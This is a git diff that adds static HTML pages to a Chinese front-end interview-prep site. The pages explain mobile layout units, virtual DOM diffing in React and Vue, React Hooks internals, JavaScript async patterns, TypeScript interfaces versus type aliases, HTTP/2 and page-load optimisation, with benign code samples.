移动端开发需要面对十分繁杂的终端设备尺寸。除了使用响应式布局、媒体查询等方案之外,在对元素进行布局时,一般会使用相对单位来获得更多的灵活性。

rem

根据 W3C 规范可知,1rem 等同于根元素 html 的 font-size 大小。

由于早期 vw、vh 兼容性不佳,一个使用广泛的移动端适配方案 flexible 是借助 rem 来模拟 vw 特性实现移动端适配。在设计与开发时,通常会约定某一种尺寸为开发基准。开发者可以利用工具(如 px2rem)进行绝对单位 px 和其他 rem 单位的自动换算,然后利用 flexible 脚本动态设置 html 的字体大小和<meta name="viewport">

vw/vh

由于目前 vw、vh 相关单位获得了更多浏览器的支持,可以直接使用 vw、vh 单位进行移动端开发。

同理于 flexible 方案,使用 vw、vh 也需要对设计稿中的尺寸进行换算,将 px 转换为 vw 值,常见的工具如 postcss-px-to-viewport 等可以满足需求。

image

6. 使用响应式图片#

展示图片时,可以在 picture 元素中定义零或多个 source 元素和一个 img 元素,以便为不同的显示/设备场景提供图像的替代版本。从而使得图片内容能够灵活响应不同的设备,避免出现图片模糊或视觉效果差以及使用过大图片浪费带宽的问题。

source 元素可以按需配置 srcset、media、sizes 等属性,以便用户代理为不同媒体查询范围或像素密度比的设备配置对应的图片资源。如果没有找到匹配的图像或浏览器不支持 picture 元素,则使用 img 元素作为回退方案。

<picture>  <source    srcset="hzfe-avatar-desktop.png, hzfe-avatar-desktop-2x.png 2x"    media="(min-width: 990px)"  />  <source    srcset="hzfe-avatar-tablet.png, hzfe-avatar-tablet-2x.png 2x"    media="(min-width: 750px)"  />  <source    srcset="hzfe-avatar-mobile.png, hzfe-avatar-mobile-2x.png 2x"    media="(min-width: 375px)"  />  <img    srcset="hzfe-avatar.png, hzfe-avatar-2x.png 2x"    src="hzfe-avatar.png"    alt="hzfe-default-avatar"  /></picture>

7. 适配安全区域#

由于手机厂商各有特色,目前手机上常见有圆角(corners)、刘海(sensor housing)和小黑条(Home Indicator)等特征。为保证页面的显示效果不被这些特征遮盖,需要把页面限制在安全区域范围内。

<meta name="viewport" content="initial-scale=1, viewport-fit=cover" />

设置 viewport-fit=cover 后,按需借助以下预设的环境变量,对元素应用 padding,从而确保它们不会被一些以上特征遮盖:

  • safe-area-inset-left
  • safe-area-inset-right
  • safe-area-inset-top
  • safe-area-inset-bottom
/* 例子:兼容刘海屏 */body {  /* constant 函数兼容 iOS 11.2 以下*/  padding-top: constant(safe-area-inset-top);  /* env 函数兼容 iOS 11.2 */  padding-top: env(safe-area-inset-top);}

参考资料#

  1. iOSRes
  2. Viewport concepts
  3. A tale of two viewports
  4. Responsive Design
  5. Relationship of grid layout to other layout methods
  6. Designing Websites for iPhone X
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/engineer-webpack-loader/index.html b/book3/engineer-webpack-loader/index.html new file mode 100644 index 0000000..a90f368 --- /dev/null +++ b/book3/engineer-webpack-loader/index.html @@ -0,0 +1,17 @@ + + + + + + +engineer-webpack-loader | HZFE - 剑指前端 Offer + + + + + + + + + \ No newline at end of file diff --git a/book3/frame-diff/index.html b/book3/frame-diff/index.html new file mode 100644 index 0000000..1cb8fdd --- /dev/null +++ b/book3/frame-diff/index.html @@ -0,0 +1,22 @@ + + + + + + +常见框架的 Diff 算法 | HZFE - 剑指前端 Offer + + + + +
+

常见框架的 Diff 算法

相关问题#

  • 虚拟 DOM 是什么
  • 虚拟 DOM 的作用
  • 讲一下 Vue 的 Diff 算法

回答关键点#

虚拟 DOM 时间复杂度O(n)

现代网站大多具有复杂布局,大量的节点和交互操作等特征,直接操作 DOM 方法不当带来的性能问题不可忽视。虚拟 DOM 的本质是 JavaScript 对象,它可以代表 DOM 的一部分特征,是 DOM 的抽象简化版本。通过预先操作虚拟 DOM,在某个时机找出和真实 DOM 之间的差异部分并重新渲染,来提升操作真实 DOM 的性能和效率。

为达到这个目的,还需要关注两个问题:什么时候重新渲染,怎么高效选择重新渲染的范围。找出需要重新渲染的范围,就是 Diff 的过程。React 和 Vue 的 Diff 算法思路基本一致,只对同层节点进行比较,利用唯一标识符对节点进行区分。

知识点深入#

1. Diff 算法#

两棵树的比对和更新,涉及到树编辑距离(Tree Editing Distance)算法:将一棵树转化为另一棵树的最小操作成本。操作类型包括:删除、插入、修改。时间复杂度为 O(n^3)。

为了降低时间复杂度,React 和 Vue 的思路是基于以下两个假设条件,缩减递归迭代规模,将 Diff 算法的时间复杂度降低为 O(n):

  1. 相同类型的组件产生相同的 DOM 结构,反之亦然。所以不同类型组件的结构不需要进一步递归 Diff。
  2. 同一层级的一组节点,可以通过唯一标识符进行区分。

2. React Reconciliation#

在 React 中,将虚拟 DOM 和真实 DOM 进行比对然后同步的过程被称为 Reconciliation(调和),Fiber 是 React 16 中新的调和引擎。它的主要目标是实现虚拟 DOM 的增量渲染。

Diff 的大致过程是,当对比两棵虚拟 DOM 树时,React 先对比根元素。依据根元素的类型不同,会有不同的操作:

  1. 不同类型的元素

    如果元素的类型不同,React 会抛弃旧树并建立新树。如以下情况,会导致完全重建:

    <!-- old --><button class="bg-blue-100">HZFE</button>
    +<!-- new --><div class="bg-blue-100">HZFE</div>
  2. 相同类型的元素

    如果元素是两个相同类型的 React DOM 元素时,React 会查看两者的属性,保留 DOM 节点,只更新改变的属性。如以下情况,React 只更新颜色样式。

    <!-- old --><button class="bg-blue-100 text-center">HZFE</button>
    +<!-- new --><button class="bg-red-100 text-center">HZFE</button>

在元素类型相同的情况下,比对完元素后,会递归元素的子元素。默认情况下,React 会同时迭代新老两个子元素列表。对于列表的更新,React 建议在列表项中标识 key 属性。避免以下低效场景:

<!-- bad --><!-- React 不会意识到可以保留<li>HZFE</li>和<li>Front-End</li>子树的完整,而是重写每个元素 -->
+<!-- old --><ul>  <li>HZFE</li>  <li>Front-End</li></ul><!-- new --><ul>  <li>Back-End</li>  <li>HZFE</li>  <li>Front-End</li></ul>
+<!-- good --><!-- 子列表项有稳定且在兄弟节点中唯一的 key 属性, --><!-- React 使用 key 从新老树中匹配对应节点比较,提高 Diff 效率。 -->
+<!-- old --><ul>  <li key="2016">HZFE</li>  <li key="2017">Front-End</li></ul><!-- new --><ul>  <li key="2015">Back-End</li>  <li key="2016">HZFE</li>  <li key="2017">Front-End</li></ul>

2. Vue2.x Diff#

Vue 的 Diff 算法和 React 的类似,只在同一层次进行比较,不进行跨层比较。如果两个元素被判定为不相同,则不继续递归比较。在 Diff 子元素的过程中,采用双端比较的方法,设立 4 个指针:

  • oldStartIdx 指向旧子元素列表中,从左边开始 Diff 的元素索引。初始值:第一个元素的索引。
  • newStartIdx 指向新子元素列表中,从左边开始 Diff 的元素索引。初始值:第一个元素的索引。
  • oldEndIdx 指向旧子元素列表中,从右边开始 Diff 的元素索引。初始值:最后一个元素的索引。
  • newEndIdx 指向新子元素列表中,从右边开始 Diff 的元素索引。初始值:最后一个元素的索引。

image

Vue 同时遍历新老子元素虚拟 DOM 列表,并采用头尾比较。一般有 4 种情况:

  1. 当新老 start 指针指向的是相同节点

    复用节点并按需更新。

    新老 start 指针向右移动一位。

  2. 当新老 end 指针指向的是相同节点

    复用节点并按需更新。

    新老 end 指针向左移动一位。

  3. 当老 start 指针和新 end 指针指向的是相同节点

    复用节点并按需更新,将节点对应的真实 DOM 移动到子元素列表队尾。

    老 start 指针向右移动一位。

    新 end 指针向左移动一位。

  4. 当老 end 指针和新 start 指针指向的是相同节点

    复用节点并按需更新,将节点对应的真实 DOM 移动到子元素列表队头。

    老 end 指针向左移动一位。

    新 start 指针向右移动一位。

在不满足以上情况的前提下,会尝试检查新 start 指针指向的节点是否有唯一标识符 key,如果有且能在旧列表中找到拥有相同 key 的相同类型节点,则可复用并按需更新,且移动节点到新的位置。新 start 指针向右移动一位。如果依旧不满足条件,则新增相关节点。

当新老列表的中任意一个列表的头指针索引大于尾指针索引时,循环遍历结束,按需删除或新增相关节点即可。

参考资料#

Loading script...
+ + + + \ No newline at end of file diff --git a/book3/frame-react-hooks/index.html b/book3/frame-react-hooks/index.html new file mode 100644 index 0000000..6fa0b80 --- /dev/null +++ b/book3/frame-react-hooks/index.html @@ -0,0 +1,18 @@ + + + + + + +React Hooks 实现原理 | HZFE - 剑指前端 Offer + + + + +
+

React Hooks 实现原理

相关问题#

  • React Hooks 是什么
  • React Hooks 是怎么实现的
  • 使用 React Hooks 需要注意什么

回答关键点#

闭包 Fiber 链表

Hooks 是 React 16.8 的新增特性。它可以让你在不编写 class 的情况下使用 state 以及其他的 React 特性。

Hooks 主要是利用闭包来保存状态,使用链表保存一系列 Hooks,将链表中的第一个 Hook 与 Fiber 关联。在 Fiber 树更新时,就能从 Hooks 中计算出最终输出的状态和执行相关的副作用。

使用 Hooks 的注意事项:

  • 不要在循环,条件或嵌套函数中调用 Hooks。
  • 只在 React 函数中调用 Hooks。

知识点深入#

1. 简化实现#

React Hooks 模拟实现

该示例是一个 React Hooks 接口的简化模拟实现,可以实际运行观察。其中 react.js 文件模拟实现了 useStateuseEffect 接口,其基本原理和 react 实际实现类似。

2. 对比分析#

2.1 状态 Hook#

模拟的 useState 实现中,通过闭包,将 state 保存在 memoizedState[cursor]。 memoizedState 是一个数组,可以按顺序保存 hook 多次调用产生的状态。

let memoizedState = [];let cursor = 0;function useState(initialValue) {  // 初次调用时,传入的初始值作为 state,后续使用闭包中保存的 state  let state = memoizedState[cursor] ?? initialValue;  // 对游标进行闭包缓存,使得 setState 调用时,操作正确的对应状态  const _cursor = cursor;  const setState = (newValue) => (memoizedState[_cursor] = newValue);  // 游标自增,为接下来调用的 hook 使用时,引用 memoizedState 中的新位置  cursor += 1;  return [state, setState];}

实际的 useState 实现经过多方面的综合考虑,React 最终选择将 Hooks 设计为顺序结构,这也是 Hooks 不能条件调用的原因。

function mountState<S>(  initialState: (() => S) | S): [S, Dispatch<BasicStateAction<S>>] {  // 创建 Hook,并将当前 Hook 添加到 Hooks 链表中  const hook = mountWorkInProgressHook();  // 如果初始值是函数,则调用函数取得初始值  if (typeof initialState === "function") {    initialState = initialState();  }  hook.memoizedState = hook.baseState = initialState;  // 创建一个链表来存放更新对象  const queue = (hook.queue = {    pending: null,    dispatch: null,    lastRenderedReducer: basicStateReducer,    lastRenderedState: initialState,  });  // dispatch 用于修改状态,并将此次更新添加到更新对象链表中  const dispatch: Dispatch<BasicStateAction<S>> = (queue.dispatch =    (dispatchAction.bind(null, currentlyRenderingFiber, queue): any));  return [hook.memoizedState, dispatch];}

2.1 副作用 Hook#

模拟的 useEffect 实现,同样利用了 memoizedState 闭包来存储依赖数组。依赖数组进行浅比较,默认的比较算法是 Object.is

function useEffect(cb, depArray) {  const oldDeps = memoizedState[cursor];  let hasChange = true;  if (oldDeps) {    // 对比传入的依赖数组与闭包中保存的旧依赖数组,采用浅比较算法    hasChange = depArray.some((dep, i) => !Object.is(dep, oldDeps[i]));  }  if (hasChange) cb();  memoizedState[cursor] = depArray;  cursor++;}

实际的 useEffect 实现:

function mountEffect(  create: () => (() => void) | void,  deps: Array<mixed> | void | null): void {  return mountEffectImpl(    UpdateEffect | PassiveEffect, // fiberFlags    HookPassive, // hookFlags    create,    deps  );}function mountEffectImpl(fiberFlags, hookFlags, create, deps): void {  // 创建hook  const hook = mountWorkInProgressHook();  const nextDeps = deps === undefined ? null : deps;  // 设置 workInProgress 的副作用标记  currentlyRenderingFiber.flags |= fiberFlags; // fiberFlags 被标记到 workInProgress  // 创建 Effect, 挂载到 hook.memoizedState 上  hook.memoizedState = pushEffect(    HookHasEffect | hookFlags, // hookFlags 用于创建 effect    create,    undefined,    nextDeps  );}

3. Hooks 如何与 Fiber 共同工作#

在了解如何工作之前,先看看 Hook 与 Fiber 的部分结构定义:

export type Hook = {  memoizedState: any, // 最新的状态值  baseState: any, // 初始状态值  baseQueue: Update<any, any> | null,  queue: UpdateQueue<any, any> | null, // 环形链表,存储的是该 hook 多次调用产生的更新对象  next: Hook | null, // next 指针,之下链表中的下一个 Hook};
export type Fiber = {  updateQueue: mixed, // 存储 Fiber 节点相关的副作用链表  memoizedState: any, // 存储 Fiber 节点相关的状态值
+  flags: Flags, // 标识当前 Fiber 节点是否有副作用};

与上节中的模拟实现不同,真实的 Hooks 是一个单链表的结构,React 按 Hooks 的执行顺序依次将 Hook 节点添加到链表中。下面以 useState 和 useEffect 两个最常用的 hook 为例,来分析 Hooks 如何与 Fiber 共同工作。

在每个状态 Hook(如 useState)节点中,会通过 queue 属性上的循环链表记住所有的更新操作,并在 updade 阶段依次执行循环链表中的所有更新操作,最终拿到最新的 state 返回。

状态 Hooks 组成的链表的具体结构如下图所示:

State Hook

在每个副作用 Hook(如 useEffect)节点中,创建 effect 挂载到 Hook 的 memoizedState 中,并添加到环形链表的末尾,该链表会保存到 Fiber 节点的 updateQueue 中,在 commit 阶段执行。

副作用 Hooks 组成的链表的具体结构如下图所示:

Effect Hook

参考资料#

  1. Why Do React Hooks Rely on Call Order?
  2. React hooks: not magic, just arrays
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/js-async/index.html b/book3/js-async/index.html new file mode 100644 index 0000000..4476a4d --- /dev/null +++ b/book3/js-async/index.html @@ -0,0 +1,24 @@ + + + + + + +JavaScript 异步编程 | HZFE - 剑指前端 Offer + + + + +
+

JavaScript 异步编程

相关问题#

  • JavaScript 异步编程方案有哪些
  • JavaScript 异步编程方案各有什么优缺点

回答关键点#

阻塞 事件循环 回调函数

JavaScript 是一种同步的、阻塞的、单线程的语言,一次只能执行一个任务。但浏览器定义了非同步的 Web APIs,将回调函数插入到事件循环,实现异步任务的非阻塞执行。常见的异步方案有异步回调、定时器、发布/订阅模式、Promise、生成器 Generator、async/await 以及 Web Worker。

知识点深入#

1. 异步回调#

异步回调函数作为参数传递给在后台执行的其他函数。当后台运行的代码结束,就调用回调函数,通知工作已经完成。具体示例如下:

// 第一个参数是监听的事件类型,第二个就是事件发生时调用的回调函数。btn.addEventListener("click", () => {  console.log("You clicked me!");
+  const pElem = document.createElement("p");  pElem.textContent = "hello, hzfe.";  document.body.appendChild(pElem);});

异步回调是编写和处理 JavaScript 异步逻辑的最常用方式,也是最基础的异步模式。但是随着 JavaScript 的发展,异步回调的问题也不容忽视:

  1. 回调表达异步流程的方式是非线性的,非顺序的,理解成本较高。
  2. 回调会受到控制反转的影响。因为回调的控制权在第三方(如 Ajax),由第三方来调用回调函数,无法确定调用是否符合预期。
  3. 多层嵌套回调会产生回调地狱(callback hell)。

2. 定时器:setTimeout/setInterval/requestAnimationFrame#

这三个都可以用异步方式运行代码。主要特征如下:

  1. setTimeout:经过任意时间后运行函数,递归 setTimeout 在 JavaScript 线程不阻塞情的况下可保证执行间隔相同
  2. setInterval:允许重复执行一个函数,并设置时间间隔,不能保证执行间隔相同
  3. requestAnimationFrame:以当前浏览器/系统的最佳帧速率重复且高效地运行函数的方法。一般用于处理动画效果。

setInterval 会按设定的时间间隔固定调用,其中 setInterval 里面的代码的执行时间也包含在内,所以实际间隔小于设定的时间间隔。而递归 setTimeout 是调用时才开始算时间,可以保证多次递归调用时的间隔相同。

如果当前 JavaScript 线程阻塞,轮到的 setInterval 无法执行,那么本次任务就会被丢弃。而 setTimeout 被阻塞后不会被丢弃,等到空闲时会继续执行,但无法保证执行间隔。

3. 发布/订阅模式(publish-subscribe pattern)#

发布/订阅模式是一种对象间一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都将得到状态改变的通知。

上面异步回调的例子也是一个发布/订阅模式(publish-subscribe pattern)的实现。订阅 btn 的 click 事件,当 btn 被点击时向订阅者发送这个消息,执行对应的操作。

class PubSub {  constructor() {    // 存储所有订阅的事件类型及对应的订阅函数数组    // key <eventType>: value <subscribeList>[]    this.handlers = {};  }  // 订阅事件方法  on(eventType, handler) {    if (!(eventType in this.handlers)) this.handlers[eventType] = [];    this.handlers[eventType].push(handler);  }  // 消息发布方法  emit(eventType, ...handlerArgs) {    this.handlers[eventType].forEach((v) => {      v(...handlerArgs);    });  }  // 取消订阅  remove(eventType, handler) {    // 没有传入具体的事件处理函数,则移除该事件类型的所有订阅函数    // 有则在订阅数组中移除对应的函数    if (!handler) {      this.handlers[eventType].length = 0;    } else {      const key = this.handlers[eventType].findIndex((v) => v === handler);      if (key !== -1) this.handlers[eventType].splice(key, 1);    }  }}
+const test1 = new PubSub();const fn1 = (...data) => console.log(data);test1.on("event1", fn1);test1.on("event1", (...data) => console.log(`fn2: ${data}`));test1.emit("event1", "hzfe1", "hzfe2", "hzfe3");test1.remove("event1", fn1);// ["hzfe1", "hzfe2", "hzfe3"] fn1打印// fn2: hzfe1,hzfe2,hzfe3

发布/订阅模式可以更细致地了解到有多少种事件类型以及每种类型对应的订阅事件,方便进一步的监听与控制。

4. Promise#

Promise 提供了完成和拒绝两个状态来标识异步操作结果,通过 then 和 catch 可以分别对着两个状态进行跟踪处理。和事件监听的主要差别在于:

  1. 一个 Promise 只能成功或失败一次,一旦状态改变,就无法从成功切换到失败,反之亦然。
  2. 如果 Promise 成功或失败,那么即使在事件发生之后添加成功/失败回调,也将调用正确的回调。

Promise 使用顺序的方式来表达异步,将回调的控制权转交给了可以信任的 Promise.resolve(),同时也能够使用链式流的方式避免回调地狱的产生,解决了异步回调的问题。但 Promise 也有缺陷:

  1. 顺序错误处理:如果不设置回调函数,Promise 链中的错误很容易被忽略。
  2. 单决议:Promise 只能被决议一次(完成或拒绝),不能很好地支持多次触发的事件及数据流(支持的标准正在制定中)。
  3. 无法获取状态:处于 Pending 状态时,无法得知目前进展到哪一个阶段(刚刚开始还是即将完成)。
  4. 无法取消:一旦创建了 Promise 并注册了完成/拒绝函数,不能取消执行。

5. 生成器 Generator#

Generator 函数是 ES6 提供的一种异步编程解决方案,语法与传统函数完全不同,最大的特点就是可以控制函数的执行。简单示例如下:

function* helloHzfeGenerator() {  yield "hello";  yield "hzfe";  return "ending";}
+var hello = helloHzfeGenerator();
+hello.next();// { value: 'hello', done: false }
+hello.next();// { value: 'hzfe', done: false }
+hello.next();// { value: 'ending', done: true }
+hello.next();// { value: undefined, done: true }

生成器 Generator 并不像普通函数那样总是运行到结束,可以在运行当中通过 yield 来暂停并完全保持其状态,再通过 next 恢复运行。yield/next 不只是控制机制,也是一种双向消息传递机制。yield 表达式本质上是暂停下来等待某个值,next 调用会向被暂停的 yield 表达式传回一个值(或者是隐式的 undefined)。

生成器 Generator 保持了顺序、同步、阻塞的代码模式,同样解决了异步回调的问题。

6. aysnc/await#

aysnc/await 属于 ECMAScript 2017 JavaScript 版的一部分,使异步代码更易于编写和阅读。通过使用它们,异步代码看起来更像是同步代码。具有如下特点:

  1. async/await 不能用于普通的回调函数。
  2. async/await 与 Promise 一样,是非阻塞的。
  3. async/await 使得异步代码看起来像同步代码。

async/await 也存在问题:await 关键字会阻塞其后的代码,直到 Promise 完成,就像执行同步操作一样。它可以允许其他任务在此期间继续运行,但自己的代码会被阻塞。解决方案是将 Promise 对象存储在变量中来同时开始,然后等待它们全部执行完毕。具体参照 fast asnyc await。如果内部的 await 等待的异步任务之间没有依赖关系,且需要获取这些异步操作的结果,可以使用 Promise.allSettled() 同时执行这些任务并获得结果。

7. Web Worker#

Web Worker 为 JavaScript 创造了多线程环境,允许主线程创建 Worker 线程,将一些任务分配给 Worker 线程运行,处理完后可以通过 postMessage 将结果传递给主线程。优点在于可以在一个单独的线程中执行费时的处理任务,从而允许主线程中的任务(通常是 UI)运行不被阻塞/放慢。

使用 Web Worker 时有以下三点需要注意的地方:

  1. 在 Worker 内部无法访问主线程的任何资源,包括全局变量,页面的 DOM 或者其他资源,因为这是一个完全独立的线程。
  2. Worker 和主线程间的数据传递通过消息机制进行。使用 postMessage 方法发送消息;使用 onmessage 事件处理函数来响应消息。
  3. Worker 可以创建新的 Worker,新的 Worker 和父页面同源。Worker 在使用 XMLHttpRequest 进行网络 I/O 时,XMLHttpRequest 的 responseXML 和 channel 属性会返回 null。

Web Worker 主要应用场景:

  1. 处理密集型数学计算
  2. 大数据集排序
  3. 数据处理(压缩,音频分析,图像处理等)
  4. 高流量网络通信

参考资料#

  1. 异步 JavaScript
  2. 使用 Web Worker
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/js-ts-interface-type/index.html b/book3/js-ts-interface-type/index.html new file mode 100644 index 0000000..a6cdec6 --- /dev/null +++ b/book3/js-ts-interface-type/index.html @@ -0,0 +1,25 @@ + + + + + + +TypeScript 中的 Interface 和 Type Alias | HZFE - 剑指前端 Offer + + + + +
+

TypeScript 中的 Interface 和 Type Alias

相关问题#

  • Interface 和 Type Alias 的作用
  • Interface 和 Type Alias 的相同点
  • Interface 和 Type Alias 的区别

回答关键点#

类型约束 扩展 类型合并

Interface 和 Type Alias(Type 别名,下文简称 Type)是 TypeScript 中两个非常重要且常用的概念。在程序设计中,Interface 和 Type 主要起到类型的限制和规范的作用,它们不关心实现细节,只规定和限制类或变量必须提供对应的属性和方法。

Interface 和 Type 核心的区别是 Type 不可在定义后重新添加内容,而 Interface 则总是可以扩展新内容。相比 Interface,Type 并没有实际创建一个新的类型,而是创建一个引用某个类型的名字。

知识点深入#

总体来说,Interface 和 Type 两者非常相似,Interface 的特性大部分都可以使用 Type 实现,在大多数场景下都可以任意选择 Interface 或 Type 实现功能。根据这两者设计上的异同,可以总结出两者使用上的相同点和不同点。

1. Interface 和 Type 的相同点#

1.1 可描述对象/函数#

Interface 和 Type 都可以描述对象和函数。

// Interfaceinterface IHzfe {  name: string;}interface GetHZFE {  (): string;}
+// Typetype THzfe = {  name: string;};type GetHZFE = () => string;

1.2 可扩展#

Interface 和 Type 都可以扩展类型。

// Interfaceinterface IHzfe {  name: string;}interface IShfe extends IHzfe {  location: string;}
+// Typetype THzfe = {  name: string;};type TShfe = THzfe & { location: string };

另外,Interface 的 extends 和 Type 的交叉类型有一些细微区别:extends 中的同名字段的类型必须是兼容的。而交叉类型中出现了同名字段且类型不同时,则类型一般是 nerver。

1.3 class Implements#

Interface 和 Type 描述的类型都可以被 class 实现。

// Interfaceinterface IHzfe {  name: string;}
+// Typetype THzfe = {  name: string;};
+class HZFE1 implements IHzfe {  name = "HZFEStudio";}class HZFE2 implements THzfe {  name = "HZFEStudio";}

2. Interface 和 Type 的不同点#

2.1 基本类型别名、联合类型、元组#

由于 Type 定义的实际是一个别名,所以 Type 可以描述一些基本类型、联合类型和元组的别名。

// 基本类型type HZFEMember = number;
+// 联合类型type HZFEMemberTechStack = string | string[];
+// 元组type HZFEMember = [number, string];

2.2 声明合并#

Interface 可以重复定义,并将合并所有声明的属性为单个接口。而 Type 不可重复定义。

// Interfaceinterface IHzfe {  name: string;}interface IHzfe {  member: number;}
+const hzfe: IHzfe = { name: "HZFE", member: 17 };

2.3 动态属性#

Type 可以使用 in 关键字动态生成属性,而 Interface 的索引值必须是 string 或 number 类型,所以 Interface 并不支持动态生成属性。

type HZFELanguage = "JavaScript" | "Go";type HZFEProjects = {  [key in HZFELanguage]?: string[];};
+const hzfeProjects: HZFEProjects = {  JavaScript: ["xx", "xx"],};

参考资料#

  1. TypScript - Typed JavaScript at Any Scale
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/network-http-1-2/index.html b/book3/network-http-1-2/index.html new file mode 100644 index 0000000..24323a1 --- /dev/null +++ b/book3/network-http-1-2/index.html @@ -0,0 +1,17 @@ + + + + + + +HTTP/2 和 HTTP/1.1 的对比 | HZFE - 剑指前端 Offer + + + + +
+

HTTP/2 和 HTTP/1.1 的对比

相关问题#

  • 了解 HTTP/2 吗
  • HTTP/1.0、HTTP/1.1 和 HTTP/2 的区别

回答关键点#

队头阻塞 持久连接 二进制分帧层 多路复用 服务端推送

HTTP/1.1 相较 HTTP/1.0 的改进和优化:

  • 持久连接
  • HTTP 管道化
  • 分块编码传输
  • 新增 Host 头处理
  • 更多缓存处理
  • 新增更多状态码

HTTP/1.1 的缺点:

  • 队头阻塞(Head-of-line blocking)
  • 头部冗余
  • TCP 连接数限制

HTTP/2 的优点:

  • 二进制分帧层
  • 多路复用
  • Header 压缩
  • 服务端推送

知识点深入#

1. HTTP/1.1#

1.1 相较 HTTP/1.0 的改进和优化#

HTTP/1.1 相比于 HTTP/1.0 的改进和优化主要包含:持久连接、HTTP 管道化请求、分块编码传输、新增 host 头字段、缓存支持、更多状态码等。

持久连接

在 HTTP/1.0 时期,每进行一次 HTTP 通信,都需要经过 TCP 三次握手建立连接。若一个页面引用了多个资源文件,就会极大地增加服务器负担,拉长请求时间,降低用户体验。

HTTP/1.1 中增加了持久连接,可以在一次 TCP 连接中发送和接收多个 HTTP 请求/响应。只要浏览器和服务器没有明确断开连接,那么该 TCP 连接会一直保持下去。

持久连接在 HTTP/1.1 中默认开启(请求头中带有 Connection: keep-alive),若不需要开启持久连接,可以在请求头中加上 Connection: close。

HTTP 管道化

HTTP 管道化是指将多个 HTTP 请求同时发送给服务器的技术,但是响应必须按照请求发出的顺序依次返回。

但是由于 HTTP 管道化仍存在诸多问题:

  1. 第一个响应慢仍会阻塞后续响应
  2. 服务器为了保证能按序返回需要缓存提前完成的响应而占用更多资源
  3. 需要客户端 、代理和服务器都支持管道化

所以目前大部分主流浏览器默认关闭 HTTP 管线化功能。

分块编码传输

在 HTTP/1.1 协议里,允许在响应头中指定 Transfer-Encoding: chunked 标识当前为分块编码传输,可以将内容实体分装成一个个块进行传输。

新增 Host 头处理

在 HTTP/1.0 中认为每台服务器都绑定一个唯一的 IP 地址,因此一台服务器也无法搭建多个 Web 站点。

在 HTTP/1.1 中新增了 host 字段,可以指定请求将要发送到的服务器主机名和端口号。

1.2 HTTP/1.1 的缺点#

队头阻塞

虽然在 HTTP1.1 中增加了持久连接,能在一次 TCP 连接中发送和接收多个 HTTP 请求/响应,但是在一个管道中同一时刻只能处理一个请求,所以如果上一个请求未完成,后续的请求都会被阻塞。

头部冗余

HTTP 请求每次都会带上请求头,若此时 cookie 也携带大量数据时,就会使得请求头部变得臃肿。

TCP 连接数限制

浏览器对于同一个域名,只允许同时存在若干个 TCP 连接(根据浏览器内核有所差异),若超过浏览器最大连接数限制,后续请求就会被阻塞。

2. HTTP/2#

2.1 HTTP/2 的优点#

二进制分帧层

在 HTTP/1.x 中传输数据使用的是纯文本形式的报文,需要不断地读入字节直到遇到分隔符为止。而 HTTP/2 则是采用二进制编码,将请求和响应数据分割为一个或多个的体积小的帧。

多路复用

HTTP/2 允许在单个 TCP 连接上并行地处理多个请求和响应,真正解决了 HTTP/1.1 的线头阻塞和 TCP 连接数限制问题。

Header 压缩

使用 HPACK 算法来压缩头部内容,包体积缩小,在网络上传输变快。

服务端推送

允许服务端主动向浏览器推送额外的资源,不再是完全被动地响应请求。例如客户端请求 HTML 文件时,服务端可以同时将 JS 和 CSS 文件发送给客户端。

参考资料#

  1. HPACK: Header Compression for HTTP/2
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/topic-white-screen-optimization/index.html b/book3/topic-white-screen-optimization/index.html new file mode 100644 index 0000000..b9032ec --- /dev/null +++ b/book3/topic-white-screen-optimization/index.html @@ -0,0 +1,17 @@ + + + + + + +如何减少白屏的时间 | HZFE - 剑指前端 Offer + + + + +
+

如何减少白屏的时间

回答关键点#

资源优化 预加载 服务端渲染 性能监控指标 HTTP/2

前端性能优化是前端开发中一个重要环节,它包括很多内容,其中页面的白屏时间是用户最初接触到的部分,白屏时间过长会显著影响用户的留存率和转换率。

我们以一个 APP 内嵌 Webview 打开页面作为例子,来分析页面打开过程以及可优化的方向:

  1. 前置条件
    • 性能监控指标
  2. APP 内点击打开页面
  3. DNS 解析
    • 预解析
    • 域名收敛
  4. TCP 连接
    • 预连接
  5. 发送并响应请求
    • HTTP/2
  6. 浏览器解析页面
    • 服务端渲染
  7. 加载资源并渲染页面
    • 骨架屏
    • 资源优化
    • 资源预加载
  8. 请求接口,获取数据并渲染
    • 接口预加载
    • 接口合并

知识点深入#

1. 前端性能监控指标#

性能优化的前置条件是性能有测量标准并可以被监控。常用的性能监控指标有以下几块。

Navigation Timing API:

  • responseStart - fetchStart:收到首字节的耗时
  • domContentLoadedEventEnd - fetchStart:HTML 加载完成耗时
  • loadEventStart - fetchStart:页面完全加载耗时
  • domainLookupEnd - domainLookupStart:DNS 解析耗时
  • connectEnd - connectStart:TCP 连接耗时
  • responseStart - requestStart:Time to First Byte(TTFB)
  • responseEnd - responseStart:数据传输耗时
  • domInteractive - responseEnd:DOM 解析耗时
  • loadEventStart - domContentLoadedEventEnd:资源加载耗时(页面中同步加载的资源)

Lighthouse Performance:

  • FP(First Paint):首次绘制
  • FCP(First Contentful Paint):首次内容绘制
  • FMP(First Meaningful Paint):首次有效绘制
  • LCP(Largest Contentful Paint):最大可见元素绘制
  • TTI(Time to Interactive):可交互时间
  • TTFB(Time to First Byte):浏览器接收第一个字节的时间

除了上面之外,UC 内核也有一套性能监控指标:

  • T0:Blink 收到 HTTP Head 的时间。
  • T1:首屏有内容显示的时间。
  • T2:首屏全部显示出来的时间。

2. DNS 解析优化#

DNS 解析优化是性能优化重要的一环,DNS 的作用是根据域名获取对应的 IP 地址,获取之后后续的 HTTP 流程才能进行下去。

DNS 解析是一个开销较大的过程,一次 DNS 解析通常需要耗费几十到上百毫秒,而在移动端网络或其他弱网环境下 DNS 解析延迟会更加严重,对 DNS 解析优化则可以减少这一步骤的耗时。

2.1 DNS 预解析#

我们可以通过 DNS 预解析的方式提前获取 IP 地址,以缩短后续请求的响应时间。

前端可以通过 dns-prefetch 预解析,具体方式如下:

<link rel="dns-prefetch" href="https://hzfe.org/" />

2.2 域名收敛#

域名收敛的目的是减少页面中域名的数量,从而减少所需的 DNS 解析次数,最终减少页面的 DNS 解析过程的耗时,加快页面加载速度。

3. TCP 连接优化#

前端可以通过 preconnect 在请求发送前预先执行一些操作,这些操作包括 DNS 解析,TCP 握手 和 TLS 协商。具体方式如下:
